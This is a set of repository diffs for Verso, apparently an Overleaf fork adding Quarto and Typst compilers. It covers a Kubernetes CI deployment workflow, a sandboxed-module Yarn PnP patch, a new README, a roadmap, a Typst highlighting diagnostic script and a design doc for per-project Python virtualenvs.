members: [{ _id: 0, host: "mongo:27017" }]
|
||||||
|
})
|
||||||
|
'
|
||||||
|
|
||||||
|
kubectl -n test exec deploy/mongo -- mongosh --eval '
|
||||||
|
while (rs.status().myState !== 1) {
|
||||||
|
sleep(1000)
|
||||||
|
}
|
||||||
|
print("Mongo replica set is PRIMARY")
|
||||||
|
'
|
||||||
|
|
||||||
|
- name: Ensure Verso deployment exists
|
||||||
|
run: |
|
||||||
|
# Stamp the instance name with this build number, e.g. "Verso V0.83 Alpha".
|
||||||
|
NAV_TITLE="Verso V0.${GITHUB_RUN_NUMBER:-${GITEA_RUN_NUMBER:-0}} Alpha"
|
||||||
|
cat <<'EOF' | sed "s|__NAV_TITLE__|${NAV_TITLE}|g" | kubectl apply -f -
|
||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: verso
|
||||||
|
namespace: test
|
||||||
|
spec:
|
||||||
|
replicas: 1
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: verso
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: verso
|
||||||
|
spec:
|
||||||
|
containers:
|
||||||
|
- name: verso
|
||||||
|
# Pull via the public address: the cluster nodes' containerd
|
||||||
|
# is configured for registry.alocoq.fr, not the in-cluster
|
||||||
|
# service name. Both front the same registry storage, so the
|
||||||
|
# image pushed via the in-cluster address resolves here too.
|
||||||
|
image: registry.alocoq.fr/verso:latest
|
||||||
|
ports:
|
||||||
|
- containerPort: 80
|
||||||
|
env:
|
||||||
|
- name: OVERLEAF_MONGO_URL
|
||||||
|
value: mongodb://mongo:27017/sharelatex?replicaSet=rs0
|
||||||
|
- name: OVERLEAF_REDIS_HOST
|
||||||
|
value: redis
|
||||||
|
- name: REDIS_HOST
|
||||||
|
value: redis
|
||||||
|
- name: OVERLEAF_APP_NAME
|
||||||
|
value: Verso
|
||||||
|
- name: OVERLEAF_NAV_TITLE
|
||||||
|
value: "__NAV_TITLE__"
|
||||||
|
- name: OVERLEAF_SITE_URL
|
||||||
|
value: https://test.alocoq.fr
|
||||||
|
# Default UI language for the instance.
|
||||||
|
- name: OVERLEAF_SITE_LANGUAGE
|
||||||
|
value: fr
|
||||||
|
# Allow anonymous visitors to reach the site so link
|
||||||
|
# sharing and public presentation links work without a
|
||||||
|
# login. Per-project and per-route access checks still
|
||||||
|
# apply; private presentation links still require login.
|
||||||
|
- name: OVERLEAF_ALLOW_PUBLIC_ACCESS
|
||||||
|
value: "true"
|
||||||
|
# Also let anonymous visitors use read-AND-write share
|
||||||
|
# links (edit without an account). Read-only links only
|
||||||
|
# need OVERLEAF_ALLOW_PUBLIC_ACCESS above.
|
||||||
|
- name: OVERLEAF_ALLOW_ANONYMOUS_READ_AND_WRITE_SHARING
|
||||||
|
value: "true"
|
||||||
|
# Let Quarto Python cells use a project's requirements.txt:
|
||||||
|
# the compiler installs it into a cached venv. Gated to the
|
||||||
|
# project owner + invited collaborators (never anonymous /
|
||||||
|
# link-sharing users).
|
||||||
|
- name: OVERLEAF_ENABLE_PROJECT_PYTHON_VENV
|
||||||
|
value: "true"
|
||||||
|
---
|
||||||
|
apiVersion: v1
|
||||||
|
kind: Service
|
||||||
|
metadata:
|
||||||
|
name: verso
|
||||||
|
namespace: test
|
||||||
|
spec:
|
||||||
|
selector:
|
||||||
|
app: verso
|
||||||
|
ports:
|
||||||
|
- name: http
|
||||||
|
port: 80
|
||||||
|
targetPort: 80
|
||||||
|
EOF
|
||||||
|
|
||||||
|
- name: Deploy Verso image
|
||||||
|
run: |
|
||||||
|
kubectl -n test set image deployment/verso \
|
||||||
|
verso=registry.alocoq.fr/verso:latest
|
||||||
|
|
||||||
|
kubectl -n test rollout restart deployment/verso
|
||||||
|
kubectl -n test rollout status deployment/verso --timeout=300s
|
||||||
|
|
||||||
|
- name: Create admin user
|
||||||
|
run: |
|
||||||
|
sleep 20
|
||||||
|
kubectl -n test exec deploy/verso -- bash -lc '
|
||||||
|
cd /overleaf/services/web
|
||||||
|
node modules/server-ce-scripts/scripts/create-user \
|
||||||
|
--admin \
|
||||||
|
--email=test@example.com || true
|
||||||
|
'
|
||||||
|
|
||||||
|
- name: Cleanup
|
||||||
|
if: always()
|
||||||
|
run: |
|
||||||
|
kubectl -n ci delete job verso-buildkit --ignore-not-found=true --wait=true
|
||||||
@@ -1,5 +1,5 @@
|
|||||||
diff --git a/lib/sandboxed_module.js b/lib/sandboxed_module.js
|
diff --git a/lib/sandboxed_module.js b/lib/sandboxed_module.js
|
||||||
index 1cd6743fe221cbe91ea92fea3707ed07a8a2ded3..46889217d96d5534a206549ae7bd97100e41c3e4 100644
|
index 1cd6743..4718b97 100644
|
||||||
--- a/lib/sandboxed_module.js
|
--- a/lib/sandboxed_module.js
|
||||||
+++ b/lib/sandboxed_module.js
|
+++ b/lib/sandboxed_module.js
|
||||||
@@ -4,7 +4,7 @@ var Module = require('module');
|
@@ -4,7 +4,7 @@ var Module = require('module');
|
||||||
@@ -11,3 +11,47 @@ index 1cd6743fe221cbe91ea92fea3707ed07a8a2ded3..46889217d96d5534a206549ae7bd9710
|
|||||||
var parent = module.parent;
|
var parent = module.parent;
|
||||||
var globalOptions = {};
|
var globalOptions = {};
|
||||||
var registeredBuiltInSourceTransformers = ['coffee'];
|
var registeredBuiltInSourceTransformers = ['coffee'];
|
||||||
|
@@ -157,12 +157,20 @@ SandboxedModule.prototype._createRecursiveRequireProxy = function() {
|
||||||
|
var cache = Object.create(null);
|
||||||
|
var required = this._getRequires();
|
||||||
|
for (var key in required) {
|
||||||
|
- var injectedFilename = requireLike(this.filename).resolve(key);
|
||||||
|
- cache[injectedFilename] = required[key];
|
||||||
|
+ // Under Yarn PnP, resolution from a transitive dependency's context may fail
|
||||||
|
+ // for packages not declared in that dependency's package.json. Silently skip
|
||||||
|
+ // cache pre-population on failure; the mock will still be injected via the
|
||||||
|
+ // inject map in requireInterceptor or resolved via RecursiveRequireProxy fallback.
|
||||||
|
+ try {
|
||||||
|
+ var injectedFilename = requireLike(this.filename).resolve(key);
|
||||||
|
+ cache[injectedFilename] = required[key];
|
||||||
|
+ } catch (e) {}
|
||||||
|
}
|
||||||
|
cache[this.filename] = this.exports;
|
||||||
|
var globals = this.globals;
|
||||||
|
|
||||||
|
+ // Store the top-level module's filename for PnP fallback resolution
|
||||||
|
+ var topLevelFilename = this.filename;
|
||||||
|
var options;
|
||||||
|
if(!this._options.sourceTransformersSingleOnly && this._options.sourceTransformers){
|
||||||
|
options = {
|
||||||
|
@@ -208,8 +216,18 @@ SandboxedModule.prototype._createRecursiveRequireProxy = function() {
|
||||||
|
if (request in cache) return cache[request];
|
||||||
|
return require(request);
|
||||||
|
}
|
||||||
|
- // cached modules
|
||||||
|
- var requestedFilename = requireLike(this.filename).resolve(request);
|
||||||
|
+ // Resolve the requested module filename.
|
||||||
|
+ // Under Yarn PnP, packages can only resolve their declared dependencies.
|
||||||
|
+ // When sandboxed-module loads a transitive dependency, the resolution context
|
||||||
|
+ // may not have access to all needed packages. Fall back to resolving from
|
||||||
|
+ // the top-level module's context (the module under test).
|
||||||
|
+ var requestedFilename;
|
||||||
|
+ try {
|
||||||
|
+ requestedFilename = requireLike(this.filename).resolve(request);
|
||||||
|
+ } catch (e) {
|
||||||
|
+ if (this.filename === topLevelFilename) throw e;
|
||||||
|
+ requestedFilename = requireLike(topLevelFilename).resolve(request);
|
||||||
|
+ }
|
||||||
|
if (requestedFilename in cache) return cache[requestedFilename];
|
||||||
|
var sandboxedModule = createInnerSandboxedModule(requestedFilename)
|
||||||
|
return sandboxedModule.exports;
|
||||||
|
|||||||
@@ -1,80 +1,233 @@
|
|||||||
<h1 align="center">
|
|
||||||
<br>
|
|
||||||
<a href="https://www.overleaf.com"><img src="doc/logo.png" alt="Overleaf" width="300"></a>
|
|
||||||
</h1>
|
|
||||||
|
|
||||||
<h4 align="center">An open-source online real-time collaborative LaTeX editor.</h4>
|
|
||||||
|
|
||||||
<p align="center">
|
<p align="center">
|
||||||
<a href="https://github.com/overleaf/overleaf/wiki">Wiki</a> •
|
<img src="services/web/public/img/ol-brand/verso-logo.svg" alt="Verso" width="440">
|
||||||
<a href="https://www.overleaf.com/for/enterprises">Server Pro</a> •
|
|
||||||
<a href="#contributing">Contributing</a> •
|
|
||||||
<a href="https://mailchi.mp/overleaf.com/community-edition-and-server-pro">Mailing List</a> •
|
|
||||||
<a href="#authors">Authors</a> •
|
|
||||||
<a href="#license">License</a>
|
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
<img src="doc/screenshot.png" alt="A screenshot of a project being edited in Overleaf Community Edition">
|
**A collaborative, real-time editor for Quarto, LaTeX and Typst — documents and presentations.**
|
||||||
<p align="center">
|
|
||||||
Figure 1: A screenshot of a project being edited in Overleaf Community Edition.
|
|
||||||
</p>
|
|
||||||
|
|
||||||
## Community Edition
|
Verso is a fork of [Overleaf](https://github.com/overleaf/overleaf) that adds
|
||||||
|
first-class [Quarto](https://quarto.org) and [Typst](https://typst.app) support
|
||||||
|
alongside Overleaf's LaTeX toolchain. It keeps Overleaf's real-time
|
||||||
|
collaboration infrastructure and runs **three compilers side by side**, chosen
|
||||||
|
automatically from the root file's extension:
|
||||||
|
|
||||||
[Overleaf](https://www.overleaf.com) is an open-source online real-time collaborative LaTeX editor. We run a hosted version at [www.overleaf.com](https://www.overleaf.com), but you can also run your own local version, and contribute to the development of Overleaf.
|
| Root file | Compiler | Typical output |
|
||||||
|
|-----------|----------|----------------|
|
||||||
|
| `.qmd` | Quarto | PDF (via Typst or LaTeX), or an HTML/RevealJS deck |
|
||||||
|
| `.tex` | `latexmk` / TeX Live | PDF |
|
||||||
|
| `.typ` | Typst | PDF |
|
||||||
|
|
||||||
> [!CAUTION]
|
All three coexist on one server; no per-project configuration is required to
|
||||||
> Overleaf Community Edition is intended for use in environments where **all** users are trusted. Community Edition is **not** appropriate for scenarios where isolation of users is required due to Sandbox Compiles not being available. When not using Sandboxed Compiles, users have full read and write access to the `sharelatex` container resources (filesystem, network, environment variables) when running LaTeX compiles.
|
pick the engine.
|
||||||
|
|
||||||
For more information on Sandbox Compiles check out our [documentation](https://docs.overleaf.com/on-premises/configuration/overleaf-toolkit/server-pro-only-configuration/sandboxed-compiles).
|
---
|
||||||
|
|
||||||
## Enterprise
|
## Features
|
||||||
|
|
||||||
If you want help installing and maintaining Overleaf in your lab or workplace, we offer an officially supported version called [Overleaf Server Pro](https://www.overleaf.com/for/enterprises). It also includes more features for security (SSO with LDAP or SAML), administration and collaboration (e.g. tracked changes). [Find out more!](https://www.overleaf.com/for/enterprises)
|
- **Real-time collaboration** — multiple people editing the same file at once,
|
||||||
|
powered by Overleaf's operational-transformation engine, with live cursors
|
||||||
|
and full project history.
|
||||||
|
- **Three compilers, auto-dispatched** — Quarto, LaTeX and Typst projects live
|
||||||
|
side by side; the runner is selected from the root file's extension.
|
||||||
|
- **Language-aware editor for all three**:
|
||||||
|
- *LaTeX* — syntax highlighting, command/environment/reference autocomplete,
|
||||||
|
linting (inherited from Overleaf).
|
||||||
|
- *Quarto (`.qmd`)* — Markdown highlighting plus Quarto-aware completions:
|
||||||
|
code chunks (```` ```{python} ````, `{r}`, `{julia}`, `{ojs}`…), callouts
|
||||||
|
and fenced divs (`::: {.callout-note}`, columns, tabsets) and
|
||||||
|
cross-references (`@fig-`, `@tbl-`, `@sec-`, `@eq-`).
|
||||||
|
- *Typst (`.typ`)* — syntax highlighting and completions for the common
|
||||||
|
functions and markup (`#import`, `#let`, `#set`, `#show`, `#figure`,
|
||||||
|
`#table`, `#cite`, …).
|
||||||
|
- **Document outline** — section headings are extracted into the sidebar
|
||||||
|
outline panel for LaTeX, Quarto (`#`, `##`, …) and Typst (`=`, `==`, …).
|
||||||
|
- **Format at a glance** — the project dashboard shows a per-project format
|
||||||
|
badge (Quarto / Typst / LaTeX), and the compiler dropdown greys out engines
|
||||||
|
that don't apply to the current root file.
|
||||||
|
- **Publish & share compiled output** — publish the compiled result as a
|
||||||
|
standalone page at `/p/:token`, with three independent access tiers (project
|
||||||
|
members / any logged-in user / public). Works for both HTML/RevealJS decks
|
||||||
|
(served live) and PDFs (embedded inline). HTML decks also get a one-click
|
||||||
|
**Present** button in the toolbar.
|
||||||
|
- **Quarto Python cells** — optional per-project virtual environment built from
|
||||||
|
the project's `requirements.txt`, so Python code chunks run during render
|
||||||
|
(gated to the project owner and invited collaborators).
|
||||||
|
- **Auto-compile** — the preview refreshes automatically shortly after you stop
|
||||||
|
typing.
|
||||||
|
|
||||||
## Keeping up to date
|
## Output formats
|
||||||
|
|
||||||
Sign up to the [mailing list](https://mailchi.mp/overleaf.com/community-edition-and-server-pro) to get updates on Overleaf releases and development.
|
In the YAML frontmatter of a `.qmd` file:
|
||||||
|
|
||||||
## Installation
|
```yaml
|
||||||
|
format: typst # → PDF preview, rendered via Typst (no LaTeX required)
|
||||||
|
format: pdf # → PDF preview, rendered via LaTeX
|
||||||
|
format: revealjs # → interactive HTML slideshow preview
|
||||||
|
format: html # → a static HTML page
|
||||||
|
```
|
||||||
|
|
||||||
We have detailed installation instructions in the [Overleaf Toolkit](https://github.com/overleaf/toolkit/).
|
Typst ships inside Quarto, so `format: typst` needs no separate installation.
|
||||||
|
|
||||||
## Upgrading
|
> **Note on display math**: keep `$$ … $$` blocks on a single line. Multi-line
|
||||||
|
> display-math blocks can trigger YAML parse errors in some Quarto versions.
|
||||||
|
|
||||||
If you are upgrading from a previous version of Overleaf, please see the [Release Notes section on the Wiki](https://github.com/overleaf/overleaf/wiki#release-notes) for all of the versions between your current version and the version you are upgrading to.
|
## Quick start
|
||||||
|
|
||||||
## Overleaf Docker Image
|
### With Docker
|
||||||
|
|
||||||
This repo contains two dockerfiles, [`Dockerfile-base`](server-ce/Dockerfile-base), which builds the
|
```bash
|
||||||
`sharelatex/sharelatex-base` image, and [`Dockerfile`](server-ce/Dockerfile) which builds the
|
docker run -d \
|
||||||
`sharelatex/sharelatex` (or "community") image.
|
-p 80:80 \
|
||||||
|
-v ~/verso_data:/var/lib/overleaf \
|
||||||
|
--name verso \
|
||||||
|
registry.alocoq.fr/verso:latest
|
||||||
|
```
|
||||||
|
|
||||||
The Base image generally contains the basic dependencies like `wget`, plus `texlive`.
|
Open `http://localhost` in your browser, then visit `/launchpad` on first run to
|
||||||
We split this out because it's a pretty heavy set of
|
create the admin account.
|
||||||
dependencies, and it's nice to not have to rebuild all of that every time.
|
|
||||||
|
|
||||||
The `sharelatex/sharelatex` image extends the base image and adds the actual Overleaf code
|
### Build from source
|
||||||
and services.
|
|
||||||
|
|
||||||
Use `make build-base` and `make build-community` from `server-ce/` to build these images.
|
```bash
|
||||||
|
# Build the base image (system deps + Quarto + TeX Live)
|
||||||
|
cd server-ce
|
||||||
|
make build-base
|
||||||
|
|
||||||
We use the [Phusion base-image](https://github.com/phusion/baseimage-docker)
|
# Build the application image
|
||||||
(which is extended by our `base` image) to provide us with a VM-like container
|
make build-community
|
||||||
in which to run the Overleaf services. Baseimage uses the `runit` service
|
```
|
||||||
manager to manage services, and we add our init-scripts from the `server-ce/runit`
|
|
||||||
folder.
|
| File | Purpose |
|
||||||
|
|------|---------|
|
||||||
|
| `server-ce/Dockerfile-base` | Base OS image — system deps, Quarto (with Typst) and a TeX Live (`latexmk`) toolchain |
|
||||||
|
| `server-ce/Dockerfile` | Application image — Node services and the compiled frontend |
|
||||||
|
|
||||||
|
## Architecture
|
||||||
|
|
||||||
|
Verso is a microservices monorepo (Yarn workspaces). All services run inside a
|
||||||
|
single container managed by `runit`, with `nginx` as the front router.
|
||||||
|
|
||||||
|
```
|
||||||
|
browser ──→ nginx:80
|
||||||
|
├── / ──────────────────→ web:4000 (main app, React UI)
|
||||||
|
├── /socket.io ──────────→ real-time:3026 (WebSocket, OT engine)
|
||||||
|
├── /p/:token ───────────→ web (published output)
|
||||||
|
└── /project/*/output/* → clsi-nginx:8080 (compiled output files)
|
||||||
|
|
||||||
|
web → document-updater → Redis pub/sub → real-time → browser
|
||||||
|
web → CLSI (quarto render / latexmk / typst) → output files → nginx → browser
|
||||||
|
```
|
||||||
|
|
||||||
|
| Service | Role |
|
||||||
|
|---------|------|
|
||||||
|
| `web` | HTTP API, React frontend, auth, project & sharing management |
|
||||||
|
| `real-time` | WebSocket layer, live cursors and edit sync |
|
||||||
|
| `document-updater` | Operational transformation, Redis pub/sub |
|
||||||
|
| `clsi` | Compiler — runs `quarto render` (`.qmd`), `latexmk` (`.tex`) or `typst` (`.typ`) and serves output |
|
||||||
|
| `docstore` | Document text storage (MongoDB) |
|
||||||
|
| `filestore` | Binary file storage (S3 or local) |
|
||||||
|
| `project-history` | Change history and version tracking |
|
||||||
|
|
||||||
|
## Writing documents
|
||||||
|
|
||||||
|
### Quarto (`main.qmd`)
|
||||||
|
|
||||||
|
```markdown
|
||||||
|
---
|
||||||
|
title: My Presentation
|
||||||
|
author: Your Name
|
||||||
|
date: today
|
||||||
|
format: revealjs
|
||||||
|
---
|
||||||
|
|
||||||
|
## Slide one
|
||||||
|
|
||||||
|
Write **Markdown** here.
|
||||||
|
|
||||||
|
## Mathematics
|
||||||
|
|
||||||
|
$$\int_0^\infty e^{-x^2}\,dx = \frac{\sqrt{\pi}}{2}$$
|
||||||
|
```
|
||||||
|
|
||||||
|
Switch `format: revealjs` to `format: typst` (or `pdf`) for a PDF preview.
|
||||||
|
|
||||||
|
### LaTeX (`main.tex`)
|
||||||
|
|
||||||
|
LaTeX works exactly as in Overleaf: a project whose root file is a `.tex` file
|
||||||
|
compiles with `latexmk`/TeX Live, no setting required. The **Example LaTeX
|
||||||
|
project** in the *New project* menu is a ready-made starting point.
|
||||||
|
|
||||||
|
> The bundled TeX Live is a minimal install. Documents that need extra packages
|
||||||
|
> may not build out of the box — see `server-ce/Dockerfile-base` for how to
|
||||||
|
> switch to a fuller TeX Live scheme.
|
||||||
|
|
||||||
|
### Typst (`main.typ`)
|
||||||
|
|
||||||
|
A project whose root file is a `.typ` file compiles directly to PDF with
|
||||||
|
[Typst](https://typst.app) — fast, modern markup with a real scripting
|
||||||
|
language. Verso drives the Typst bundled with Quarto, so no extra install is
|
||||||
|
needed. Use the **Blank Typst project** entry in the *New project* menu to get
|
||||||
|
started.
|
||||||
|
|
||||||
|
## Publishing compiled output
|
||||||
|
|
||||||
|
From **Share → Publish**, Verso compiles the project and snapshots the result to
|
||||||
|
a standalone page at `/p/:token`:
|
||||||
|
|
||||||
|
- **HTML / RevealJS** decks are served as a live page (the **Present** toolbar
|
||||||
|
button is a one-click shortcut to this).
|
||||||
|
- **PDF** output is embedded inline; the raw file stays reachable at
|
||||||
|
`/p/:token/output.pdf`.
|
||||||
|
|
||||||
|
Three stable links are issued, one per access tier — project members, any
|
||||||
|
logged-in user, or anyone — and each can be copied or independently reset.
|
||||||
|
|
||||||
|
## Environment variables
|
||||||
|
|
||||||
|
Verso inherits all of Overleaf's environment variables (prefixed `OVERLEAF_`).
|
||||||
|
The most commonly needed:
|
||||||
|
|
||||||
|
| Variable | Default | Description |
|
||||||
|
|----------|---------|-------------|
|
||||||
|
| `OVERLEAF_APP_NAME` | `Verso` | Name shown in the UI |
|
||||||
|
| `OVERLEAF_NAV_TITLE` | — | Instance name/version shown in the top bar |
|
||||||
|
| `OVERLEAF_MONGO_URL` | `mongodb://mongo/sharelatex` | MongoDB connection string |
|
||||||
|
| `OVERLEAF_REDIS_HOST` | `localhost` | Redis host |
|
||||||
|
| `OVERLEAF_SITE_URL` | — | Public URL (used in emails and published links) |
|
||||||
|
| `OVERLEAF_SITE_LANGUAGE` | `en` | Default UI language (e.g. `fr`) |
|
||||||
|
| `OVERLEAF_ENABLE_PROJECT_PYTHON_VENV` | `false` | Allow Quarto Python cells to use a project `requirements.txt` |
|
||||||
|
| `OVERLEAF_ADMIN_EMAIL` | — | Email for the first admin account |
|
||||||
|
|
||||||
|
See the [Overleaf Server documentation](https://github.com/overleaf/overleaf/wiki)
|
||||||
|
for the full list.
|
||||||
|
|
||||||
|
## Relation to Overleaf
|
||||||
|
|
||||||
|
Verso is a fork of [Overleaf Community Edition](https://github.com/overleaf/overleaf).
|
||||||
|
The main additions on top of upstream are:
|
||||||
|
|
||||||
|
- Quarto and Typst compilers running alongside LaTeX, dispatched by the root
|
||||||
|
file's extension.
|
||||||
|
- Editor language support (highlighting, autocomplete, outline) for Quarto and
|
||||||
|
Typst.
|
||||||
|
- A per-project format badge on the dashboard and a root-file-aware compiler
|
||||||
|
selector.
|
||||||
|
- Publishing/sharing of compiled output (HTML decks and PDFs) via `/p/:token`
|
||||||
|
with tiered access links, and a toolbar **Present** shortcut.
|
||||||
|
- Optional per-project Python virtual environments for Quarto code execution.
|
||||||
|
- Verso branding (name, logo, palette, loading animation).
|
||||||
|
|
||||||
|
All other infrastructure — real-time collaboration, history, auth, file
|
||||||
|
storage, project management — is unchanged from Overleaf.
|
||||||
|
|
||||||
## Contributing
|
## Contributing
|
||||||
|
|
||||||
Please see the [CONTRIBUTING](CONTRIBUTING.md) file for information on contributing to the development of Overleaf.
|
Contributions are welcome — open an issue or pull request on the
|
||||||
|
[Verso repository](https://git.alocoq.fr/alois/verso). The upstream Overleaf
|
||||||
## Authors
|
contribution guidelines are in [CONTRIBUTING.md](CONTRIBUTING.md).
|
||||||
|
|
||||||
[The Overleaf Team](https://www.overleaf.com/about)
|
|
||||||
|
|
||||||
## License
|
## License
|
||||||
|
|
||||||
The code in this repository is released under the GNU AFFERO GENERAL PUBLIC LICENSE, version 3. A copy can be found in the [`LICENSE`](LICENSE) file.
|
GNU Affero General Public License v3 — see [LICENSE](LICENSE).
|
||||||
|
|
||||||
Copyright (c) Overleaf, 2014-2025.
|
Copyright © Overleaf, 2014–2026 (original code).
|
||||||
|
Verso modifications © Aloïs Coquillard, 2026.
|
||||||
|
|||||||
@@ -0,0 +1,41 @@
|
|||||||
|
# Verso — Next Alpha Roadmap
|
||||||
|
|
||||||
|
Ideas and features deferred from the current alpha.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Next alpha (post-current)
|
||||||
|
|
||||||
|
### Typst editing experience (inspired by Collabst)
|
||||||
|
|
||||||
|
- **typst.ts WASM preview** — Run the Typst compiler in the browser via
|
||||||
|
WebAssembly (typst.ts). This would give instant, sub-second preview
|
||||||
|
without a server round-trip, and would eliminate the entire class of
|
||||||
|
race conditions in the CLSI watcher (files written → typst compiles →
|
||||||
|
resolver missed). Could coexist with the CLSI watcher for PDF export
|
||||||
|
while using the WASM path for live preview.
|
||||||
|
|
||||||
|
- **Tinymist LSP integration** — Wire up
|
||||||
|
[Tinymist](https://github.com/Myriad-Dreamin/tinymist) (the Typst
|
||||||
|
language server) behind a WebSocket proxy. Would give Typst files
|
||||||
|
first-class autocomplete, hover docs, go-to-definition, and inline
|
||||||
|
error diagnostics — the main editing comfort gap vs. a native editor.
|
||||||
|
|
||||||
|
### Editor UX for non-LaTeX formats (.typ, .qmd, .md)
|
||||||
|
|
||||||
|
- **Visual/rich-text editing mode** — A toggle between raw source and a
|
||||||
|
rendered-in-place view for `.typ`, `.qmd`, and `.md` files (similar to
|
||||||
|
Overleaf's rich-text mode for LaTeX). Users who don't know Typst or
|
||||||
|
Markdown syntax should be able to edit content without seeing markup.
|
||||||
|
CodeMirror 6 already supports this pattern via a custom `NodeView` layer
|
||||||
|
or a separate Prosemirror bridge.
|
||||||
|
|
||||||
|
- **Toolbar / insertion shortcuts** — A formatting toolbar and keyboard
|
||||||
|
shortcuts for common operations, adapted per file type:
|
||||||
|
- **All formats**: bold, italic, underline, headings, bullet/numbered
|
||||||
|
lists, inline code, links.
|
||||||
|
- **Quarto / Markdown**: insert image, insert table, insert code block
|
||||||
|
with language tag.
|
||||||
|
- **Quarto RevealJS**: insert slide divider (`---`), insert speaker
|
||||||
|
notes (`::: notes`), insert columns layout, insert video embed
|
||||||
|
(using Quarto's `{{< video >}}` shortcode).
|
||||||
@@ -0,0 +1,43 @@
|
|||||||
|
/**
|
||||||
|
* Typst syntax highlighting diagnostics.
|
||||||
|
* Paste into browser dev tools console with a Typst file open.
|
||||||
|
*/
|
||||||
|
|
||||||
|
// ── Part 1: CSS token counts (no view needed) ────────────────────────────
|
||||||
|
// If all are 0, the language mode is not being applied at all.
|
||||||
|
console.log('=== Token CSS class counts ===')
|
||||||
|
;['heading','comment','keyword','string','number',
|
||||||
|
'variableName','function','emphasis','strong'].forEach(t => {
|
||||||
|
const n = document.querySelectorAll('.tok-' + t).length
|
||||||
|
console.log(` .tok-${t}: ${n}`)
|
||||||
|
})
|
||||||
|
|
||||||
|
// ── Part 2: Try to get the parse tree ────────────────────────────────────
|
||||||
|
// CodeMirror 6 stores DocView on .cm-content; DocView.view = EditorView
|
||||||
|
const content = document.querySelector('.cm-content')
|
||||||
|
const view = content?.cmView?.view
|
||||||
|
|
||||||
|
if (!view?.state) {
|
||||||
|
console.warn('Could not find EditorView — parse tree unavailable')
|
||||||
|
console.log('Keys on .cm-content:', Object.keys(content ?? {}).join(', '))
|
||||||
|
} else {
|
||||||
|
console.log('\n=== Parse tree (top 600 chars) ===')
|
||||||
|
console.log(view.state.tree.toString().slice(0, 600))
|
||||||
|
|
||||||
|
// First heading line
|
||||||
|
const doc = view.state.doc
|
||||||
|
for (let ln = 1; ln <= Math.min(doc.lines, 25); ln++) {
|
||||||
|
const line = doc.line(ln)
|
||||||
|
if (line.text.trimStart().startsWith('=')) {
|
||||||
|
console.log(`\n=== Nodes on heading line ${ln}: "${line.text}" ===`)
|
||||||
|
view.state.tree.iterate({
|
||||||
|
from: line.from, to: line.to,
|
||||||
|
enter(node) {
|
||||||
|
const t = doc.sliceString(node.from, node.to)
|
||||||
|
console.log(` ${node.name}: ${JSON.stringify(t.slice(0, 50))}`)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,100 @@
|
|||||||
|
# Design: per-project Python dependencies (cached virtualenv)
|
||||||
|
|
||||||
|
Status: **Phase 1 implemented** (gated behind `OVERLEAF_ENABLE_PROJECT_PYTHON_VENV`,
|
||||||
|
on in the deployment). Network egress policy and venv eviction (Phases 2–3)
|
||||||
|
remain. Captures the plan for letting Quarto `{python}` cells use libraries
|
||||||
|
beyond the curated base set.
|
||||||
|
|
||||||
|
## What ships in Phase 1
|
||||||
|
|
||||||
|
- A project root `requirements.vrf` is installed into a venv cached by its
|
||||||
|
sha256, created with `python3 -m venv --system-site-packages`; `QuartoRunner`
|
||||||
|
points Quarto at it via `QUARTO_PYTHON`. A per-hash `flock` serialises
|
||||||
|
concurrent builds; pip output is merged into `output.log`; on failure the
|
||||||
|
render falls back to the base interpreter (and the missing-package message
|
||||||
|
surfaces). Venvs live under `PYTHON_VENVS_DIR`
|
||||||
|
(default `/var/lib/overleaf/data/python-venvs`).
|
||||||
|
- Gated by `userCanInstallPython` (`PythonVenvGate.mjs`) to the project owner +
|
||||||
|
invited collaborators (any role) — never anonymous / link-sharing users —
|
||||||
|
threaded to CLSI as `allowPythonInstall` on the editor compile, presentation
|
||||||
|
export, and publish paths.
|
||||||
|
|
||||||
|
### Known Phase-1 limitations
|
||||||
|
|
||||||
|
- The first build of a heavy `requirements.vrf` runs within the compile
|
||||||
|
timeout; a very large install can be killed and retried next compile (the
|
||||||
|
venv is only marked complete on success).
|
||||||
|
- No egress restriction yet (Phase 2) — installs reach PyPI directly.
|
||||||
|
- No eviction yet (Phase 3) — venvs accumulate under `PYTHON_VENVS_DIR`.
|
||||||
|
|
||||||
|
## Background
|
||||||
|
|
||||||
|
Quarto executes `` ```{python} `` cells through a Jupyter kernel. The base image
|
||||||
|
([`server-ce/Dockerfile-base`](../server-ce/Dockerfile-base)) bundles a curated
|
||||||
|
scientific stack (numpy, pandas, scipy, matplotlib, seaborn, scikit-learn,
|
||||||
|
sympy, plotly, tabulate). Anything outside that set currently fails the render
|
||||||
|
with `ModuleNotFoundError`.
|
||||||
|
|
||||||
|
As a first step that already shipped, the Quarto log parser
|
||||||
|
([`quarto-log-parser.ts`](../services/web/frontend/js/ide/log-parser/quarto-log-parser.ts))
|
||||||
|
turns a missing-package traceback into an actionable message. This document is
|
||||||
|
the *next* step: letting a project declare and install its own dependencies.
|
||||||
|
|
||||||
|
**Key constraint:** the instance runs with anonymous read+write enabled
|
||||||
|
(`OVERLEAF_ALLOW_ANONYMOUS_READ_AND_WRITE_SHARING=true`), so compiles can be
|
||||||
|
triggered by untrusted users. Installing arbitrary packages is therefore a
|
||||||
|
security decision, not just a convenience.
|
||||||
|
|
||||||
|
## Mechanism
|
||||||
|
|
||||||
|
1. **Declaration.** A standard `requirements.vrf` at the project root opts the
|
||||||
|
project in (familiar, Quarto-agnostic, supports version pinning).
|
||||||
|
2. **Keying.** CLSI hashes `sha256(requirements.vrf + python version)`. The hash
|
||||||
|
names a venv directory on a **persistent volume**, e.g.
|
||||||
|
`…/data/python-venvs/<hash>/`. Identical dependency sets share one venv across
|
||||||
|
projects and compiles.
|
||||||
|
3. **Build-if-missing.** `python3 -m venv --system-site-packages <dir>` (so the
|
||||||
|
bundled stack stays visible and only the *extra* deps are installed — smaller
|
||||||
|
and faster), then `<dir>/bin/pip install -r requirements.vrf`. Guard with a
|
||||||
|
per-hash `flock` so concurrent compiles don't build the same venv twice.
|
||||||
|
4. **Point Quarto at it.** Set `QUARTO_PYTHON=<dir>/bin/python3` in the render
|
||||||
|
environment (threaded web → CLSI exactly like `exportMode`). With
|
||||||
|
`--system-site-packages`, `ipykernel` from the base is importable, so the
|
||||||
|
kernel runs in that interpreter with base + project packages.
|
||||||
